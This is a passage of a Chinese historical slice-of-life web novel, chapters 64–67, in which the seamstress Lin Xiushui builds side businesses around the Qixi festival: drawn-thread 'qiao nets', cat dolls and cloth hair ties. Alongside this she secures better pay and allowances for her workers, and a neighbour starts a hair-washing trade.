小荷不懂她笑什么,也咧着嘴笑,等林秀水不笑了,她还笑,一路笑回家,问她就说自己要再高兴会儿。 林秀水还给小荷买了支小竹笛,让她自己跑去玩了,听不得那么难听的调子,她到家后,周娘子抱着装满两个大口袋的纱袋过来。 如今周娘子跟着林秀水做活,辞掉了扫街盘垃圾的营生,专心缝补,一个月能赚两贯多,她为此都有银钱,将小儿托给边上的婆婆带着,她可以不用到处奔波,不 用担心吃了上顿没下顿。 “阿俏,我清点过了,总共是三百三十五只,没有破损的,”周娘子抹一把脸上淌的汗,她清点得很仔细。 林秀水从门槛边迈出来,抓了一把看了下,没有差漏,她以为纱袋的价钱会很快回落,没想到却撞上另一股风潮,又能赚上一大笔。 那就是抓蜘蛛放进纱袋里卖,为了七月七的乞巧节,镇里一到七夕前,蜘蛛泛滥。各家小娘子会买来放到盒子里,到七夕前看看,蛛丝有没有结成圆网,要是圆网,那就是得巧。 从前卖蜘蛛的是装在盒子里、布袋里,那真是抓瞎,这会儿看见纱袋了,一个个动起脑筋来,抓了放纱袋里,个头越圆卖得越好。 宋三娘拿来给她时,差点没把林秀水吓个半死,她只是调侃自己的抽纱绣是蜘蛛绣,不是真的想养蜘蛛啊。 亏了宋三娘特意挑的好蜘蛛给她,说肯定会得巧,可林秀水紧闭双眼,连忙拒绝,并在心里想,天杀的,到底谁想出来的法子。 好的不学,越稀奇古怪的越盛行,反正纱袋养蜘蛛卖的法子,就在桑青镇里传扬开了,林秀水都有些麻木了。 打不过便加入。 裁缝作里,顾娘子听了她的法子,不免惊奇看她一眼,问道:“你寻常吃什么的?我给我闺女也照着你这样吃。” “吃粥吃饭,养蜘蛛,”林秀水回道。 顾娘子说:“真让你去养。” 她立马改口:“那是刚才的阿俏说的,不是这会儿的林秀水说的。” 顾娘子笑了声,又看她的纸样一眼,上面画了十几种类似于蛛网的图案,全是圆的,说不上精巧,但念头很好。 林秀水说:“这种养蜘蛛,看网织得圆不圆,圆就是得巧,破了就是不得巧的法子,我觉得压根不行。” “女子手不巧又能如何,不巧有不巧的活能做。可真要贪图这份好,那不如造个巧出来。” 抽纱绣可以抽类似蛛网的图案,而且比蛛网保存更久,如果祈求上天,祈求蜘蛛,不如自己造许许多多巧出来。 林秀水将这定为抽纱绣长期的计划,叫作得巧网。 “那你去做,”顾娘子赞同她的想法,谁年轻的时候没有在乞巧节里,因为蛛网破了而伤心过呢。 明明蜘蛛成网取决于种种,可偏偏怪女子不得巧。 林秀水说完没走,她又坐下来说:“娘子,我还想要一个人手。” “可以,”顾娘子已经会抢白了,“小春娥是吧,等她明日上工,让她去你那里帮忙,等天凉快再回来。” 林秀水唔了声,她夸赞道:“娘子,你真是神机妙算啊。” “我根本没算。” 林秀水又道:“还有件事,我们抽纱绣能不能加月补,大家每日从早到晚,手抖得很,什么鱼虾蟹酱,下饭鲞腊都行。” 顾娘子给她的待遇很好,每月提到五贯六钱,三匹布,一月三休,且月底有月补,还有节礼、年礼。 那是单给她一个人的,林秀水仍想要给底下人争取。她先是在此之前,将原本学徒一贯二的月钱,讲到一贯六,没有休息争取到一月两休,早上点心,下午汤水,要有单独休息的地方,没准点下工,至少要给补工费三十文。 顾娘子有几次就静静看着她,最后想想抽纱绣赚的钱,百来贯,她说可以。 这回又说到月补上,顾娘子又想想赚的钱,她让步说:“可以,每个月给你三贯,交给你去采办。” “停,转过去,走。” 林秀水本来也没有想说的了,她立即转身便走,告诉大家这个好消息。 并且等明日小春娥脸好了,来缝补处上工,帮忙扯布拉布,等夏日先过去。 小春娥站在缝补处,一脸茫然,“我这就到这里上工了?” “不用考考我啥的?” 林秀水说:“那我考你,我叫什么名字?” “……” 小春娥想了想,她说:“不知道。” “恭喜你,答对了,”林秀水拍拍她的肩膀,“来这里上工吧。” “啊?哈?” 林秀水拉她进来,一脸认真,“我不跟你说笑,这里真的很忙。” 缝补处最近接了帐设司做桌帷的活,是一场婚宴,需要做六十张的桌帷,缝补可以,需要人手拉布裁布。 在夏天里,这活比烧炭要轻省得多,而小春娥依旧靠自己干活挣钱,又有贴补,哪怕林秀水背后被人说,她也无所谓。 小春娥也不再讲那些话,她只是撸起袖子说:“布呢?在哪?我肯定好好干,我小春娥不是吃素的,是吃荤的。” “晌午吃荤的,我的那份也给你。” 小春娥在缝补处先干活,抽纱绣里则留出空闲,做林秀水给的巧网样子,一定要在七夕前,做出东西来。 别人捕蜘蛛,她们做巧网,怎么不算都是备战七夕。 这里忙完,最近裁缝作里兴起了穿蓝染缬裙子的风,顾娘子说天上的云全落到她们裙子上的,风吹的都是蓝的。 是蓝色的妖风。 林秀水给她们捎来的,这批蓝布染得大差不差,只是蓝得各异,有青蓝、云蓝、湖蓝等色,各位娘子做了裙子,搭得都不相同。 “这条没做太多打褶的,看我搭的这个鹅黄抹胸,黄裙带,”一个娘子叫林秀水瞧,她还在蓝布裙外缝了一条白纱布,两种颜色合在一块,黄裙带摆在右边,鹅黄抹胸,桃粉短褙子。 林秀水想不到的搭配,她只顾点头说:“好看。” 另一个娘子小走过来,她上身穿一件白纱的直袖衫,搭浅紫的背心,底下是浅蓝裙子,还要套软白纱的合围裙。 简直让林秀水看花了眼,这个来她说:“好看”,那个来,她回:“当真好看”,又来一个她说:“好好好好好看。” 词穷好像又不词穷。 林秀水最后说:“跟一套。” 她在这样蓝裙子来来去去里,给自己做了搭裙子的上衣,首先要合身,其次要耐看,得是过去两三年都能穿的那种。 金裁缝听完,“你怎么不说,过去二三十年都能穿的。” “我也想,但那肯定过时了,”林秀水说。 金裁缝看她穿的,勉强满意,是件绿色的中长褙子,上面的领抹很有意思,是黄绿色的柑橘模样,不是绣上去的,是用布剪了补绣上去,俏皮生动。 浅紫抹胸上是只纱绣的绿蜻蜓,纱先打底,又缝上去,翅膀有黄绿绣线的痕迹,精致秀巧,搭裙子压得还不错。 金裁缝勉强满意,她语重心长地说:“这衣冠,衣在冠前,我们做裁缝的,首先得想自身穿着,如果给自己都敷衍乱做,别人如何看你。” “再其次,是悦人,要让其他人觉得,自己能穿得板正、合身、好看,这才是裁缝。” 林秀水想成为后者那样的裁缝。 第65章 第 65 章 我要和你做生意 六月末, 街上卖起了各种七夕耍货,有水上浮,一种用黄蜡做的凫雁、鸳鸯模样的, 有人左手捧蜜瓜,右手握把刀,当街雕刻起来, 雕成各种样式,取名花瓜。 小荷最喜欢两样东西,从私塾出来后,每每路过边上的浮铺, 走上两步,立马扭头看两眼,脚步慢下来, 边看边走。 一个是谷板,有一块大板子,上面堆土,又种了栗,生起一片绿油油的苗,苗上有木质小屋,雕的田舍小人放置在上头。 第二便是种生, 白色小碗里, 放了绿豆、小豆或是小麦的种子, 等浸在水里慢慢出芽, 一寸寸长上来,绑着红蓝色彩缕出来售卖。 林秀水只给她买谷板,种生的话,自己回家拿碗放点种子也能自己做, 花十五文买这种,只会叫人觉得亏了。 小荷可喜欢谷板了,她叫林秀水捧着,自己低头在书袋里翻找,摸出三文钱来,跑到路边老婆婆摊子前,买一碗沙糖绿豆。 她不喝,两手捧着碗,跟走猫步一样,端过来给林秀水喝,并仰着头说:“阿姐你喝,我这叫礼尚往来。” 怕自己把口水滴进去。 林秀水不知道她一天学的东西,便很惊喜地夸她,“大宝,你大有长进呐。” “我比娘厉害,”小荷压根不懂谦虚。 两人分了一碗沙糖绿豆,路边到处有卖磨喝乐的,吆喝着:“磨喝乐,磨喝乐,一对两贯。” 林秀水放了碗,转过头往右边瞧,那木架上的磨喝乐,一个个用木头雕成或泥塑,戴着顶帽子,又手持荷叶,穿着青纱裙,套乾红背心,七夕前后最盛行此物。 一个一贯,根本不便宜,可多的是人买,这种圆头圆脑模样的磨喝乐很受欢迎,连镇里人夸小孩可爱会说,生的磨喝乐模样。 每看到磨喝乐,林秀水会想到绢孩儿,她卖的绢孩儿销路不错,每日也能卖出去不少,她依旧想赚七夕的钱。 她手里最近靠纱袋、抽纱绣、缝补处各种零杂的钱,家当从二十贯,又变成四十贯。 放在往前她欣喜至极,必须枕银钱睡觉,可到眼下,她既欢喜又想要再多些钱,买布、买铺子,她半点不嫌钱少。 林秀水想先有间铺面,想接更多做衣裳的活,想成为做各式衣裳的裁缝。她得攒钱,为 此写了能完成的目标,一个月赚多少钱,学点新手艺等等,挂在墙上反反复复看。 她有空会跟金裁缝学些做衣法子,或是各种衣裳样式,如何搭得更好,两人不是师徒,倒更像是知己或者说同道中人。 这个六月底到七夕,除了纱袋,她要卖绢孩儿。 绢孩儿是一直在做的营生,比起磨喝乐的精巧,手脚内嵌机关会动,绢孩儿要逊色得多,手脚也不会动,小手小脚,丝绵填充起来的,脸也不大好看,绢婆婆只会做人形,不会画人面。 能卖出去胜在林秀水给绢孩儿做的衣裳别致,又精巧,才有了销路,可远不及纱袋赚得多,费的工夫多,花的工钱多,卖得一般。 因为脸实在难看,林秀水看了很久,也没有看顺眼起来。 她决定让绢婆婆只顾做人形,不用画人面,她有合适的人选。 那便是桑树口蹲着,没事可做的,养了六只猫的街探广惠。 最近热死人的天,他都不大愿意出门,带猫坐船头,躲桥洞底下,他说不想写小报,只想写状告,告老天不下雨。 画脸他很在行,当即想站起来,头砰的一声碰到船顶,疼得他哇哇乱叫,龇牙咧嘴蹲在里头说:“画什么脸?” “老天爷说变就变的脸,还是小孩的大花脸,以及吊起来跟个驴脸一样。” 林秀水用力拍拍船顶,她说:“画人脸,听见了没?画人脸。” “听见了,人有好多嘴脸,我保管给你画出来,”广惠捂着脑袋,伸出只手来,两根手指捻了捻,“能有多少钱?最起码要两文吧,对我手艺的认可。” 林秀水站在船头说:“给你一个六文,你好好画。” “好好好,我画画画,”广惠忙应下来,他喜不自胜,又想要赋诗一首,又收住了,问林秀水,“怎么不画猫脸,我最擅长画猫。” 那一瞬间,微风吹拂,水声轻轻,林秀水的脑子里什么都听不见,只回荡着怎么不画猫脸?猫脸。 她踩了下船头,整艘船在摇,广惠喊:“不画就不画啊,我的船叫不要摇。” “画,就画猫脸。” 林秀水三两步上自己的船,她摒弃了那些过于正经的想法,她要做猫玩偶。 她很认真,不是做猫体型,而是做猫头猫脸,直立身子的,仍旧保留猫爪子和形态。 当不同猫的性格,穿上衣服会怎么样? 像猫小叶,它时而懒散到连爪子也不愿意伸,时而又上蹿下跳,那做成猫玩偶时,林秀水给它穿橘黄色的背心,橘黄色打上蓝补丁的裤子。 有的三花猫温柔,叫起来喵呜两声的,林秀水想着,能穿粉色上襦,搭绿色纱裙。 有的则会发疯,战斗力爆棚,野性十足,时而东跑西跳,时而又不搭理人,这种猫可以穿侠女服。 林秀水经手过很多只猫,所有的性格都不相同,样貌不相同,越是如此,做猫玩偶时越容易做出特色。 至少像广惠这种猫痴,刚一看见穿衣裳的猫玩偶,立即伸手喊道:“买,先给我来上六只。” 他喜滋滋地拿到手,小心翼翼捧在手上,反反复复地瞧,越瞧越觉得中意。 林秀水先卖着,也没有打算做很多,不知道这种特色玩偶卖得如何,但桑青镇的人,可是连黄脸大肚子的黄胖玩偶都能接受,这种猫头直立身子的,又穿着衣裳的,一看见就挪不开眼睛,一个五六十文,有人当即掏钱买了六个。 家里养猫的人路上一抓一大把,这种猫玩偶比绢孩儿卖得要好些,林秀水刨除种种,三四日能赚上一两贯。 她觉得这生意能做,打算多做些,等着七夕再挣一笔。 距离她买间铺子,还差五六十贯,林秀水又算了算,等抽纱绣的钱到手,这个月赚了十贯上下。 林秀水真是日日琢磨挣钱,王月兰则日日琢磨这织锦到底怎么能织好,下工回来,吃口饭又拨弄两下筷子,摇了摇头,“不是这样织的,我得再想想。” 小荷咬着筷子说:“娘,你先吃吧,怪吓人的。” 王月兰沉浸在自己的想法里,压根没听见,她的织布手艺还行,从前也被夸过织出来的布细密,有门好手艺,就抱有这种想法,一头扎进了织锦里。想靠自己挣一个月三贯,想能有更好的出路,以后说起她王月兰来,也能有些名声。 可当满腔热血,一头扎进这行当里时,才发现身累心累,她要掉眼泪。 学一样东西很难,王月兰咬着牙也得继续学,只是这次是为了自己,不再是为了同陈桂花攀比。 她总算有点放下那些鸡毛蒜皮的小事,并开始觉得,别人过得好,不代表自己过得差。 人家发达,那是人家的本事。 其实她说谎的,她还有些在意。 毕竟陈桂花最近生意做得风风火火,将家里的院子重新做了排水道,又新铺地砖,新打浴盆和浴桶,在廊棚处卖纱袋,里头装了艾草。 洗头营生当真打出了点名声,她给人家洗得头发滑溜溜、香喷喷的,日头一照黑亮。 洗一次十文钱,不止附近小娘子们来找她洗头,有些洗头不大方便的老太太,也慢慢悠悠过来找她洗,洗完擦干晾干,松松散散,人家还能给她们梳个好发髻,顿时高高兴兴出门去。 门前都挂起了像香水行那种大水壶的幌子,名声也打出来些,一提起洗这个词,好多人就会想起陈桂花。 从前说陈桂花,是说小裁缝边上那户人家,到那里洗去,眼下提起陈桂花,则说的是,陈家洗身洗头的,大家早已忘记陈桂花夫家叫什么了。 陈桂花也跟大家说:“那当然,我是在香水行里做活的,手艺自然好。” 这个从前她羞于说出口,处处遮掩,到香水行里去上工,也要绕几个弯,确保没有认识的人,才会到香水行里去。 对以前的她来说,在香水行里做活是不大体面的营生,毕竟她给人干的是擦背、修甲、拖地的活。 这会儿倒是可以坦然直白地说起,有什么可羞的,她靠自己双手挣饭吃。 “我以后,”陈桂花拎着猪肉来找林秀水,她指指自己门下的招幌,“我以后就做这营生了,保不准我还能在桑树口开家铺子呢。” “我就指着自己发家了。” 林秀水说:“我相信。” 她给陈桂花做过一个梳妆袋,里头有陈桂花狠狠心买的梳头用具:刷毛较硬的梳刷、刷毛软些的长柄发刷、两三把黄杨木梳子、两把竹篦子,能将头上脏污梳下来的。 拨发髻、松发髻的扁针,称为鬓枣,以及刷头油或水的 小刷子,叫作抿子,和各种竹签,都是拿来刮梳子上残留皮屑的。 时下女子梳的发髻不少,陈桂花估摸着都学了学,有比较简单的丫髻、螺髻、包髻、双鬟、多鬟、双垂鬟,还有诸如同心髻、流苏髻、芭蕉髻、双蟠髻、双髻、小盘髻等等。 陈桂花当真给自己走了条新路出来。 她无比满意自己,也无比满意自己所做的营生。 并且同林秀水说:“秀姐儿,我想跟你做生意。” 65-70 第66章 第 66 章 发发发月钱——发圈生意…… “什么生意?” 林秀水推门进去, 迈进门槛里,顺手拉住往回弹的门,心里稀奇。 陈桂花一手拽猪肉, 右手一撩裙摆,大步迈进来,指指自己的脑袋。 “做头上生意啊。” 她跟着林秀水的影子走, 边走边说:“我算是发现了,头上生意可比身上生意要好做。” 林秀水给凑到她腿边的猫小叶,提了茶壶,弯腰倒了点凉水, 又给陈桂花倒了杯茶,才问道:“好做?” “那可不是,洗身子来来回回就是干花、皂角、肥皂团, 头上生意可不一样,不说钗环,这我买不起,”陈桂花咽了咽口水,又急忙道,“就见近来那扑买的摊子上,有什么销金帽儿、花环钗朵箧儿头、小头巾抹头子、狼头帽, 哪一个不是头上的。” 陈桂花挨着椅子边坐下, “我仔仔细细瞧过, 太贵了!那我就琢磨, 有没有便宜些又耐看的,我脑子生得没两只手活络,这不来请教秀姐儿你了。” 她举起一块肉说:“我不白来,起早去肉行买的上好肉, 浸在水盆里的,我明早再给你逮只鸡来,我娘家里养的,逮只肥的给你。” “你说这生意,能不能有出路?” 陈桂花是在洗头,扎发髻里琢磨出来的,看有些小娘子头发一大把,发髻里用的发饰却少,大多是素色发带,青、红、蓝、绿的,或是一方素帕,绑好做成包髻。 她越梳越觉得有门路,来来回回琢磨好些日子,才过来跟林秀水说。 林秀水洗把脸的工夫,陈桂花在那说了一丝车的话,她将手巾放到盆架上,动了动念头,便说道:“肯定有门路,只是得等我想想。” “哦,哦哦,我等我等,”陈桂花起身,她眼睛打量屋里一圈,含糊问道,“你姨母近来做什么去了,忙得连炉子也不烧。” “起早五更天,我正起来舀水,就见她过了桥,出门去了,晌午你们家里也总没人。” 陈桂花说得委婉,其实她好奇得要命,烧水的时候竖起耳朵听隔壁的动静,倒水的时候站后门往边上瞟,反正每次看,总是没人没人没人,人到底上哪里去了? 林秀水说实话,“学织锦去了。” “哦嗯,织锦??” 陈桂花没有再问,她走了,她赚钱去了,天杀的,总不能等王月兰有出息了,她还窝在这桑树口里苦兮兮的。 那真是比一块大肉一文钱,她死活没抢到还让人发疯。 林秀水听隔壁又在倒水,笑了声,想起陈桂花说的头上生意,又笑不出来,先去接小荷,顺道看看各种发饰。 金裁缝很注重衣冠,她时常会说,头上戴的,跟身上穿的,一定得押韵,匹配,别人说话行当的,那是见人说人话,见鬼说鬼话。 那么裁缝做衣,那是见冠做好衣,见包髻做实惠衣裳,看发髻也能下菜碟。 一般家底殷实些的人家,女子头上会戴冠,诸如花冠、等肩冠、垂肩冠、团冠、山口冠等等,而一般人家,总是扎绑方帕做包髻得多。 林秀水看了眼,销金帽儿太贵了,一顶沾了点金的,就卖一两贯钱,她即使见过裁缝作里上好的销金制品,也仍觉得贵。 更别提小绢花,一两朵加起来要几十文,发带一根毫无装饰的,卖十文钱,林秀水放下几根粗糙的发带,深深感觉,这在抢钱。 她手里不缺布头,最近又得了些新布,自己染的蓝色扎染布,从裁缝作里来的锦裥缎子,是混织染色的花缎,浅黄暗纹的花罗,各色绢布等等。 除了用于做绢孩儿或是猫玩偶、布袋木偶的衣裳,香囊荷包卖得渐渐少许多,林秀水有一堆可以拿来做发饰的。 她没打算做市面上时兴的,倒是在逛的时候,想到了几个法子,可以做发圈,是那种方巾发圈。 虽则没有做过,可这法子对林秀水来说,简单而容易,找布的时候嘀咕了句,“可惜没有皮筋。” 没有皮筋,只能在布料里穿绳子,才能达到褶皱的效果。 她找了两块鹅黄色的绢布,将布料反过来按边折好,折成一个四方块,找出剪子握在手里,又用针戳沾了粉,沿着尖角戳了三个点,沿着弧度剪了下来,展开方布巾里则明晃晃出现一个圆。 两块布如此剪好,林秀水取出桌边的针线,绕在针上穿好,布中间圆和圆对齐,先将圆缝合好。 缝好圆圈要打剪口,不然会皱起来,打一圈剪口会更平整,林秀水在小荷不明所以的注视下,将上面的布料抓起来,从圆圈翻过去。 翻到很平整后,林秀水又翻布料正反面,将四边都按法子缝合在一块,只留一个缺口能翻出来。 小荷只看她缝来缝去,翻来又翻去,看得入神,不多时,便看见个方形的布,中间还有个洞,她踮起脚,用胳膊撑着脑袋问:“是给猫戴的吗?” “套它脖子上的?” 林秀水在剪个小口,给中间穿上绳子,扑哧笑道:“给你带的,你属猫的吗?” “等我冬天里再属猫吧,长一身的毛,”小荷脚一翘一颠的,“这会儿子太热了,我想属鱼去。” 林秀水将方巾发圈套在自己手上,拿上镜子照了照,小荷梳的三丫髻,前头有三个缠好的发辫,缠的发绳,用发圈没法套。 给她自己戴正合适,她骗小荷的。 今日梳的是流苏髻,林秀水解了青绿发绳,拉开绳子,慢慢套在自己发髻上,反正发髻少。 对着照了照,鹅黄色的发圈翘了起来,撑开像炸毛。 她立即拿下来,做了两个小的,将小荷的发髻拆了绑成双垂髻,在两个垂髻上面绑上方巾发圈,绕一个圈,整理一下,发圈垂下来像几个三角,不相互重叠,有层次感。 林秀水不大满意,给一只发圈四边角缀上两根珠子,一只发圈则缝上细长飘带,变得小且好看。 勉强满意后,面对自己的流苏髻,她想的则是用两条长布绳,缝好穿上布,抽出褶子来,下面再绑上两条宽布片,让它垂下来,如同蝴蝶结。 她配色比较简单,发圈粉,布片是青的,套在自己发髻上,慢慢往后拉,让发圈点缀前面,布绳则垂落于发髻下,充盈了她本不大多的头发。 林秀水又修修改改,调整到布料轻盈,自然垂落,配色好看,她还绑了很长的飘带,比布片要更飘逸。 她熬到夜里,做了好些款式出来,第二日绑在自己发髻上,戴了出来,她已经很深刻地懂了,什么是招牌。 自打上次那蓝裙子后,青丫家那染肆里来来回回有单子,眼下做也做不完。要不是做一条裙子费时费力,打褶熨烫的话,三五日都做不完,要挤占她全部的空闲,林秀水保不准真的会接。 做不了裙子的生意,这种发圈的生意,手到擒来。 王月兰正要出门,门都推开了,又倒退回来五步,转了一圈看林秀水,咦了声,“你转性了?” 林秀水转了转脑袋,垂下的飘带也跟着摇摆,她发髻上绑着桃粉的发圈,石绿的长飘带。 “对啊,我这叫悦己。” 她发现即使不是衣裳,单单这种小巧的美丽,也能让人愉悦,不用太费钱的漂亮。 “啥东西,”王月兰往门边上挪了两步,“你这叫会打扮了,总算有个样子了。” 她又匆匆瞧了瞧,赶紧出门走了,再不出门,到织锦作坊该抢不上前排了,她只能钻个脑袋伸到前边去瞧。 桑英恰巧来找她,也啊了声,偏头来瞧她的发圈,站到矮凳上瞧,啧啧两声,“啊呀,你这发髻梳得一般,这发饰倒好看。” 她摊手,“给我做一个。” “给你,”林秀水从包里取出来相同的发圈,套在桑英手上。 桑英嘿嘿笑两声,又垮起脸来,这些日子运米,就算有地经图,每天照旧灰头土脸的,她每隔一日要找陈桂花洗头,她的头发没一日干净的,沾满了米灰米粉,脸上也刺刺的。 所幸再熬一日,能领到这个月的月钱了,辛辛苦苦干了一个月呢。 她拿在手里欣赏,又把陈九川做的七宝素粥塞到林秀水手上,然后留下句,“我今日还有十九家要送,先走了啊。” 林秀水奇怪得很,不年不节不到腊八,有兴致做七宝素粥,放糯米,还有莲子、花生仁、小红枣、赤豆、米豆、香栗、白果仁。 她实在有种占陈九川便宜的感觉,虽说有便宜不占白不占。 说实话这些日子里,陈九川压根不知道在忙什么,人影瞧不到一个,东西倒是能吃上,桑英说他做贼去了。 林秀水笑说希望他别伸手,伸手必被抓啊。 她喝了粥,叫小荷起来,又到陈桂花那,她刚忙好,看见林秀水头上的发圈,瞪大眼睛,又连忙叫好道:“这个好,这个好。” “就是,这不便宜吧?” “便宜,卖你八文钱一个,”林秀水将发圈给她瞧,又将小的方形发圈给她,“这一对也是八文,单个四文钱。” “娘嘞,”陈桂花破音道,“你亏不亏本啊。” “我亏本大甩卖,只卖不送,你买不买?” 陈桂花搓了搓手,又改口道:“那我买得多,还是要送几个的,我也不嫌多。” 林秀水说:“送,多送你几个,你买多少?” “我都买上五十个先,”陈桂花仔仔细细想过,她又没有很多的生意,要给人家梳头的话,也不知道人家愿不愿意买,太多会砸在她的手里。 那是绝对不行的事情。 当然没想到,这个发圈买的人不少,她每日洗头来的是周边的小娘子,头发很长,在家里洗很不方便。 陈桂花包洗头,梳发,头发干后还包梳发髻的,固定的客人不少,有好几个小娘子,一看见她摆出来的发圈,立即说要梳发髻,买上两三个的。 这下叫陈桂花觉得,自己终归胆子太小,就该拿一百个的。 而林秀水则出了门,送小荷去私塾,一路上碰见的,几乎每个人都认识她。 “咦,阿俏你今日这发饰好,大热天的不出摊,你改行卖这了?给我来上三个,不,十个,我有三个闺女,三个孙女,两个外甥女,还有两个给我自个儿带,”老大娘说,“你给我做素净点,瞧我这扎的一窝丝发髻,正缺个套呢。” 林秀水有些懵,她都没开口说话,这不正送孩子上学去的嘛。 又有个娘子大步走来,站她脑后瞧,而后便用手扇风道:“阿俏给我也来两个,正从那边扑买回来,气死个人,扑了十次都没中啊,早知道不如省下钱来,直接给你好了。” “手气差成这样,你还敢扑买,你不如直接扑了还省点力气,”路过的人搭句嘴。 那娘子气急,她撸起袖子来,“找打直说。” “啊啊我想到了,阿俏你给做红的来,大师说红色旺我,我一直没穿,就是因这大热天的穿红色太显眼。” 林秀水脑瓜子嗡嗡的,东插一句,西来一句,哪个跟哪个,她原本能记住的,也变得糊涂起来,拉着小荷赶紧跑走了,回头说:“等我下工回来,到廊棚找我。” 到裁缝作倒是好些,因为见到的娘子说:“这个好,就是我这头发老多了,套着不太好看。” “是啊,别说你了,你瞧我这个发髻,闷得很,我都想削点掉了,”一个娘子将脑袋低下来,给大家瞧她那紧紧缠裹住,仍然很大一圈的头发。 林秀水默默的,悄悄地离开,她绝对没有难过,没有难过她的头发怎么落后人那么多。 她的头发不生子子孙孙有什么办法。 到抽纱绣里,大家都夸她。 “林管事今日好看。” “昨日不好看?”李锦问。 “昨日是动人,深深打动我。” 林秀水说:“是打到你的心了吗?” 抽纱绣忙死了,因为林秀水说要卖七夕巧网,那真是一张布上,都趴着人,跟蜘蛛一样,吐着丝准备结网。 不过蜘蛛只要吐丝,她们是要拿镊子抽纱,一根根地抽,抽完又穿回到针上,按着花样绣上去。 一日最多出七块手掌大的巧网,密密麻麻真如同网状。 到七月七,应该能有六七十张能卖。 转日到七月,林秀水接了百来笔发圈的单子,能赚两贯多,裁缝作发月钱了,林秀水领到这个月辛苦赚的十贯钱,她在屋子里坐了许久,仍然不敢相信,有一日能挣这么多的钱。 那时拿到一贯便高兴得发疯,这回是彻底傻了,这袋碎银子称了又称,摸了又摸。 让自己别笑得太过张扬,坐在那里平复心情,嘴角却怎么也压不下去。 抽纱绣和缝补处的众人,也从她手里,领了这个月的工钱,本来说是学徒一贯六的,到手有两贯一,林秀水给她们争取到的加工费。还有月补,是一袋绿豆、一袋扁豆,有五升,能够一家三口吃上十来日,以及一包团茶、一包解暑的香饮子。 哪怕东西不算很多,大家领到,依旧欢呼雀跃,那可是辛苦做活后得到的。 小七妹蹿过来扑在东西上,她说:“我要一直留在抽纱绣里。” “我也。” 胖丫头小巧跳起来喊:“加我啊啊啊,我要回去跟我娘说,什么裁缝不裁缝的,我就想抽纱。” 抽纱很累,抽得手抖,歇工后要不去吃饭,真是趴在桌子上,眼一闭能睡过去。 可抽过的纱,吃过的苦,变成了养家和维持生活的工钱,变成了粮食,变成了种种支撑她们上进的东西。 让大家对以后充满干劲和期待。 林秀水下工后,桑英在船头跟她招手,即使隔着三四十步的距离,仍然能看见桑英脸上不掩饰的笑容。 她遥遥地喊:“我发月钱了!” 足足有两贯,多的两百文是米行补给她的,她一个人干了许多活,晒的脸都黑了许多,有一次晒伤后还脱皮了,她在船上手舞足蹈,摇得水花四溅。 她笑得张扬肆意,跟林秀水说:“我下个月要挣更多的钱。” 林秀水举起手道:“好,赚更多的钱。” 第67章 第 67 章 办一场织巧会 七月要赚大钱。 林秀水怀有这种想法, 六月里熬过小暑、大暑,期间夹杂初伏、中伏,过完最热的两伏, 蚊蝇死了大半,蝉鸣声不止,吵人得很。 今年七夕和立秋是紧挨着的, 再过两日又是末伏,天仍旧热,屋子里闷得很,凉快下来要等中秋。 林秀水想做发圈生意和卖绢孩儿和纱袋, 可天热,又久不下雨,哪怕在荫蔽处的屋子里, 也热得汗直流,人提不起劲来。 周娘子总说自己能熬,她起早到三更天,孩子正睡的时候,就起来到林秀水租的屋子里去,这时天凉快,看不清她就先清扫一遍, 将衣裳小心晒出来, 出了日头又收回去。 时常将进出的布帘早上拆洗下来, 晒一下午日头, 晚上又给挂回去,晌午匆匆吃两口,立即过来缝东西、剪布。大半的纱袋、衣裳都出自周娘子的手里,一日干五六个时辰, 还说要帮林秀水起早送小荷去私塾里。 林秀水也劝不动她,又怕人家热晕在屋子里,毕竟这里只有一个人做活,出点事难说,七月较六月更闷更热。 这个月刚发了十贯,这笔钱叫林秀水有了莫大的底气,她舍得花钱去采买冰块了,冰价一直居高不下,好几次她想买,又舍不得花几百文买一块冰。 之前给冰井务的采冰工做袄子加领子的活,她虽觉得离谱,认真给人做了,还去到刘牙嫂的估衣铺里,替人挑了件加厚的皮料,絮了丝绵,做了条厚围脖,也算有了交情。 这次找到采冰工,那汉子一听她要买,当即道:“眼下用冰的人家多,冰价确实贵,一大块需三百文的价。阿俏你买的话,我这边能给你算一百五十文一桶冰。” 冰有专门的冰桶,是加厚两层的桑木桶,不像特制的冰鉴,设计精巧,像个回字,冰放在回字夹层里,最中间用白铜,这样冰能化得很慢。 卖各种冰雪制品的小经纪就有,林秀水不值得将钱花费在这上头,她跟采冰工在树底下说:“今日给我来四桶先,明日要五桶,我认识的人多。” “得嘞,谁不 知道你的大名,你买得多,我再送你半桶碎冰,你年纪轻,也得顾着点自个儿,”采冰工用手扇风,他指指自己脖子,“我上回戴了那热乎乎的皮料围脖后,当真好许多,至少冷风不从脖子里进了。” “我可指望着你了,冬日里我们也是要采冰的。” 林秀水给他一把蒲扇,自己扇了两下,笑道:“行,那时候我给你们做风帽,特制采冰衣。” “等你这句话呢,你以后要用冰只管找我。” 两人又寒暄了两句,林秀水在冰窖外的河边,等着另一个伙计,将冰桶送过来,人家会送她去,要把冰桶拿回来,如果用他们的冰桶,隔日再送回来,得再给三文钱。 林秀水特意今日休工,就为了送冰去,先到最近的桑桥渡,给周娘子送过去,冰桶她明日再还。 正在屋里热得大汗淋漓的周娘子,手足无措站起来,记得针要小心放好,才连连摇头又摇手说:“我压根不热,我真的不热,阿俏你不要在我身上花钱,叫我白占你的便宜。” “什么占便宜,”林秀水看着桶里的整块冰,坐屋子里靠近冰桶,确实要凉快些,她又站起身跟周娘子说,“你要热病了,那我不是少个人手,就可着这些日子赚点呢。” 一桶冰能换下午最闷热的时候凉快些,想想也值,还能放水罐、绿豆汤到上头,冰凉些能解点暑热。 不管周娘子如何说,冰桶就安置在她边上,有了冰,周娘子缝东西要快许多,半日能缝二十几个纱袋,二十几个发圈。 林秀水坐伙计的船,又给金裁缝送了一桶,人家总细心在教她缝衣裳的法子,她这么多年来怎么排料的,则怎么做衣最省布,哪里的布料好,时常将裁缝作里都没有的好布料拿出来,让她摸摸,多练练手感。 金裁缝收下了,但说道:“之后别送了,再送我下回门都不给你开。” “你忘了我们两个是忘年交,胶这种东西,用冰也是能融化的。” 林秀水拿起空冰桶走出两步,又说:“不怕,我们是鱼鳔胶,滚水才能化开。” “这天热得就跟滚水一样。” 林秀水又回:“可我是秀水,不会滚。” 金裁缝愣了会儿,笑得很大声,叫林秀水别走,给了她两袋东西,一是鸡头米,这会儿鸡头米正新鲜,加水加糖熬煮汤,又甜又糯,正好能消暑。 